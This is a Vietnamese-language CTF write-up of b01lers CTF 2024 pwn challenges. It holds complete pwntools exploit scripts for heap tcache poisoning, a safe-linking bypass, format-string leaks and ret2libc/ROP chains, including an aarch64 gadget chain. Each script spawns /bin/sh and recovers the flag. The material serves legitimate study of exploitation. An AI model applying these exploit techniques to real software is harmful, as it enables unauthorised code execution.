Try   HackMD

(writeup) b01lers CTF 2024

  • giải này khá dễ nên chỉ wu bài arm thôi nhé
  • mấy bài khác làm lai rai nên sẽ để script và idea exploit thôi

shall-we-play-a-game

  • ret2win

easy note

  • libc 2.29
  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chal_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

def GDB():#NOALSR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x5555555554e0
                b*0x555555555406
                b*0x555555555467
                b*0x55555555553c
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('gold.b01le.rs',4001)
else:
        p = process(exe.path)

def add(idx,size):
    sla(b'Resize----\n',b'1')
    sl(str(idx))
    sl(str(size))

def delete(idx):
    sla(b'Resize----\n',b'2')
    sla(b'Where? ',str(idx))

def show(idx):
    sla(b'Resize----\n',b'3')
    sla(b'Where? ',str(idx))

def edit(idx,size,data):
    sla(b'Resize----\n',b'4')
    sla(b'Where? ',str(idx))
    sla(b'size? ',str(size))
    sl(data)

def resize(idx,size):
    sl(b'6')
    sla(b'Where? ',str(idx))
    sla(b'size? ',str(size))

add(0,0x450)
add(1,0x48)
GDB()
delete(0)
show(0)

libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3afca0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

delete(1)
delete(1)

system = p64(libc.sym.system)
payload = p64(libc.sym.__free_hook)

edit(1,0x48,payload)

add(2,0x48)
edit(2,0x48,b'/bin/sh\0')

add(3,0x48)

edit(3,0x48,system)

delete(2)

p.interactive()
#bctf{j33z_1_d1dn7_kn0w_h34p_1z_s0_easy}

bctf{j33z_1_d1dn7_kn0w_h34p_1z_s0_easy}

medium note

  • source tương đồng bài easy note nhưng hơi khác chút
  • khác luôn libc (2.36) (không dùng hook được)
  • thay vào đó ta sẽ ow trên stack để ret2libc
  • có thêm vài security check thôi
  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chal_patched',checksec=False)
libc = ELF('./libc-2.36.so.6',checksec=False)

def GDB():#NOALSR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x55555555540b
                b*0x555555555595
                b*0x5555555556a7
                b*0x555555555519
                b*0x5555555555f5
                b*0x5555555556af
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('gold.b01le.rs',4002)
else:
        p = process(exe.path)

def add(idx,size):
    sla(b'Resize----\n',b'1')
    sl(str(idx))
    sl(str(size))

def delete(idx):
    sla(b'Resize----\n',b'2')
    sla(b'Where? ',str(idx))

def show(idx):
    sla(b'Resize----\n',b'3')
    sla(b'Where? ',str(idx))

def edit(idx,data):
    sla(b'Resize----\n',b'4')
    sla(b'Where? ',str(idx))
    sl(data)

def resize(idx,size):
    sl(b'6')
    sla(b'Where? ',str(idx))
    sla(b'size? ',str(size))

sl(b'7')
p.recvuntil(b'Address: ')
secret = int(p.recvuntil(b'\n',drop=True),16)
exe.address = secret - 0x159f
heap = exe.address + 0x4060

info("secret: " + hex(secret))
info("exe base: " + hex(exe.address))

add(0,0x450)
add(1,0x68)
delete(0)
show(0)

libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x1d1cc0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

delete(1)
show(1)
leak = u64(p.recv(5)+b'\0\0\0')
leek = leak << 12
ptr = leek + 0x700
info("heap leak: " + hex(ptr))
edit(1,b'\0'*0x10)
delete(1)

add(2,0x50)
system = p64(libc.sym.system)
info("system: "  + hex(libc.sym.system))
addr = heap
need = (ptr >> 12)^addr

edit(1,p64(need))
# GDB()

add(3,0x68)
add(4,0x68)

payload = b'\0'*8 + p64(libc.sym.__environ)
edit(4,payload)

show(1)
stack_leak = u64(p.recv(6)+b'\0\0')
info("stack leak: " + hex(stack_leak))

stack_need = stack_leak - 0x128 - 0x10 - 0x30
info("need: " + hex(stack_need))

add(5,0x40)
delete(5)
edit(5,b'\0'*0x10)
delete(5)

ptr = leek + 0x300
addr = stack_need 
need = (ptr >> 12)^addr

edit(5,p64(need))

add(6,0x40)
# GDB()

add(7,0x40)

pop_rdi = libc.address + 0x000000000002aa82

payload = b'a'*0x18
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
# payload += p64(pop_rdi+1) 
payload += system

edit(7,payload)

p.interactive()
#bctf{sm4ll_0v3rfl0w_1z_571ll_b4d_0k4y}

bctf{sm4ll_0v3rfl0w_1z_571ll_b4d_0k4y}

seeing-red

  • hàm use_ticket() là bịp
  • fmt + bof
  • ret2libc
  • script
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chal')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

# p = process(exe.path)
p = remote('gold.b01le.rs',4008)

# gdb.attach(p, gdbscript='''
# b*main+138
# b*help_me+102
# c
# 	''')
# input()

payload = b'a'*0x48
payload += p64(0x000000000040131f)
payload += p64(0x000000000040101a)
payload += p64(exe.sym.help_me)

p.sendlineafter(b'be?! \n',payload)

payload = b'%27$p'

p.sendafter(b'song? ',payload)
p.recvuntil(b'Ooohh! ')
libc_leak = int(p.recvuntil(b'T',drop=True),16)
libc.address = libc_leak - 0x29e40
log.info('libc leak: ' + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

pop_rdi = libc.address + 0x000000000002a3e5

payload = b'a'*0x48
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(libc.sym.system)

p.sendlineafter(b'be?! \n',payload)

p.interactive()
#bctf{dr1ving_a_n3w_maser@t1_d0wn_@_d3ad_3nd_str33t_eb30c235cde76705}

bctf{dr1ving_a_n3w_maser@t1_d0wn_@_d3ad_3nd_str33t_eb30c235cde76705}

zero-to-hero

  • là shellcode ascii nhưng filter syscall > brute flag từng bit

arm-and-a-leg

  • basic file check

image

  • check ghidra

image

main()

image

worthyness_tester()

image

get_address()

image

feedback()

analyse

  • chall cho 2 option, nhưng đọc sơ qua hàm main() thì đ' thấy khác gì =))
  • nó sẽ có hàm check để đi tiếp get_address()feedback() với input chỉ cần là 1337
  • trong hàm get_address() có bug FMTSTR -> leak libc, stack, v.v..
  • trong hàm feedback() có BOF cho phép nhập tận 0x100 byte
  • note: architecture là aarch64 nên cách khai thác hơi khác arm32 có wu trước đây

leak primitive

  • có canary -> leak canary rồi leak thêm libc

❌ ret2shellcode

  • dù checksec thấy NX tắt, cộng thêm gdb vmmap thấy stack là rwxp nên hơi hoang mang ( chắc do qemu ngu ngu )
  • shellcode

link: https://shell-storm.org/online/Online-Assembler-and-Disassembler/

image

  • test thử thì local ra đấy, nhưng server thì không

image

  • script tham khảo thôi =))

image

#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chal',checksec=False)
# libc = ELF('./libc.so.6',checksec=False)
context.arch = 'aarch64'
context.log_level = "debug"

p = process(exe.path)
# p = process(['qemu-aarch64', '-g' ,'1234' ,'./chal'])
# raw_input('Debug')
# p = remote("arm-and-a-leg.gold.b01le.rs",1337)

p.sendlineafter(b'2. Legs\n',b'1')
p.sendlineafter(b'of?\n',b'1337')
p.sendlineafter(b'appendage? ',b'%15$p|%21$p||%20$p')
p.recvuntil(b'to: ')

canary = int(p.recvuntil(b'|',drop=True),16)
log.info("canary: " + hex(canary))

libc_leak = int(p.recvuntil(b'||',drop=True),16)
libc_base = libc_leak - 0x374cc
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc_base))

stack_leak = int(p.recvline(),16)
log.info("stack leak: " + hex(stack_leak))

# binsh = libc_base + 0x15d9f8

need = stack_leak - 0x1a0
log.info("stack need: " + hex(need))

shellcode = b"\x80\x00\x00\x58\xa8\x1b\x80\xd2\x01\x00\x00\xd4"

payload = shellcode + b'a'*4
payload += p64(need+0x20)
payload += b'a'*8
payload += b'/bin/sh\0'
payload = payload.ljust(104,b'a')
payload += p64(canary)
payload += p64(0x412a00)
payload += p64(need) # <--- return
payload += b'a'*0x8
payload += p64(canary)

p.sendlineafter(b'feedback?!\n',payload)

p.interactive()

✅ ret2libc

  • đổi qua phương án này
  • cái khó là phải kiếm các gadget từ libc
  • về libc thì lấy từ docker ra

Ảnh chụp màn hình 2024-04-15 231631

  • để thực thi system('/bin/sh\0') thì thanh ghi x0 (tương đương $rdi) là 1 addr trỏ chuỗi /bin/sh
  • thanh ghi return (giống $rip) là x30 cần chứa system
  • và cần 1 lệnh call system (ở trường hợp này lấy lệnh blr)
  • sau khi giành 7749 time để lục gadget thì thu đc 2 gadget có vẻ usefull

mov x0, x19 ; blr x22

search key là mov x0
đưa value x19 vào x0 rồi call x22

ldp x19, x21, [sp, #0x10] ; ldp x22, x23, [sp, #0x20] ; ldp x29, x30, [sp], #0x60 ; ret

search key là ldp
đưa [sp + 0x10] vào x19
đưa [sp + 0x10 + 0x8] vào x21
đưa [sp + 0x20] vào x22
đưa [sp + 0x20 + 0x8] vào x23
đưa [sp] vào x29
đưa [sp + 0x8] vào x30
tăng sp lên 0x60

  • phân tích gadget:
  1. vì ta cần /bin/sh ở x0 nên sẽ tìm mov x0
  • và cho ra khá nhiều gadget tương đồng

image

để nguyên ở đó, sẽ so sánh blr các thanh ghi với lệnh khác

  1. vì ta cần x19 chứa /bin/sh, ngoài ra cần liên quan cả ret lẫn thanh ghi x30

image

ngồi đối chiếu 2 lệnh thì thấy lệnh này khả quan

  • ok việc chọn gadget xong, ta qua bước ret2libc
  • ở mỗi func đều có check canary nên mỗi lần return 1 hàm ta sẽ thêm canary để bypass
  • lạ 1 chỗ khi debug thì return ở main() lại không nằm sau main() =))))
  • mà nó nằm sau hàm feedback() (nhưng lại có return main rồi check canary ở main() bình thường :v )
  • return sau feedback() lại lấy stack pointer (sp) là sau canary của main nên từ sp đó chain payload hợp lí thôi

image

flow như sau
canary
sp : x29 (junk)
sp + 0x8: x30 ($rip) (gadget_mov)
sp + 0x10: x19 (binsh)
sp + 0x18: x21 (junk)
sp + 0x20: x22 (blr x22) (system)
sp + 0x28: x23 (junk)

get flag

image

  • debug.dbg
file chal_patched
set architecture aarch64
target remote :1234
b*main+64
b*worthyness_tester+64
b*get_address+56
b*feedback+64
b*main+240
c
  • script
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chal_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.arch = 'aarch64'
context.log_level = "debug"

# p = process(exe.path)
# p = process(['qemu-aarch64', '-g' ,'1234' ,'./chal_patched'])
# raw_input('Debug')
p = remote("arm-and-a-leg.gold.b01le.rs",1337)

p.sendlineafter(b'2. Legs\n',b'1')
p.sendlineafter(b'of?\n',b'1337')
p.sendlineafter(b'appendage? ',b'%15$p|%21$p||')
p.recvuntil(b'to: ')

canary = int(p.recvuntil(b'|',drop=True),16)
log.info("canary: " + hex(canary))

libc_leak = int(p.recvuntil(b'||',drop=True),16)
libc.address = libc_leak - 0x274cc
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

binsh = next(libc.search(b'/bin/sh\0'))
log.info("binsh: " + hex(binsh))
system = libc.sym.system
log.info("system: " + hex(system))

mov_x0_x19_blr_x22 = libc.address + 0x00000000000ba360
gadget1 = libc.address + 0x00000000000dbf1c #ldp x19, x21, [sp, #0x10] ; ldp x22, x23, [sp, #0x20] ; ldp x29, x30, [sp], #0x60 ; ret

payload = b'a'*104
payload += p64(canary)
payload += p64(0x412a00)
payload += p64(gadget1) # <--- return
payload += p64(0)
payload += p64(canary)
payload += b'a'*0x8#sp
payload += p64(mov_x0_x19_blr_x22)#sp+8 
payload += p64(binsh)#sp+0x10
payload += p64(0)#sp+0x18
payload += p64(system) #sp+0x20
payload += p64(0)#sp+0x28

p.sendlineafter(b'feedback?!\n',payload)

p.interactive()
#bctf{c0st_y@_@n_ARM_@nd_a_l3g!_a1659d0e634100240e6}

bctf{c0st_y@_@n_ARM_@nd_a_l3g!_a1659d0e634100240e6}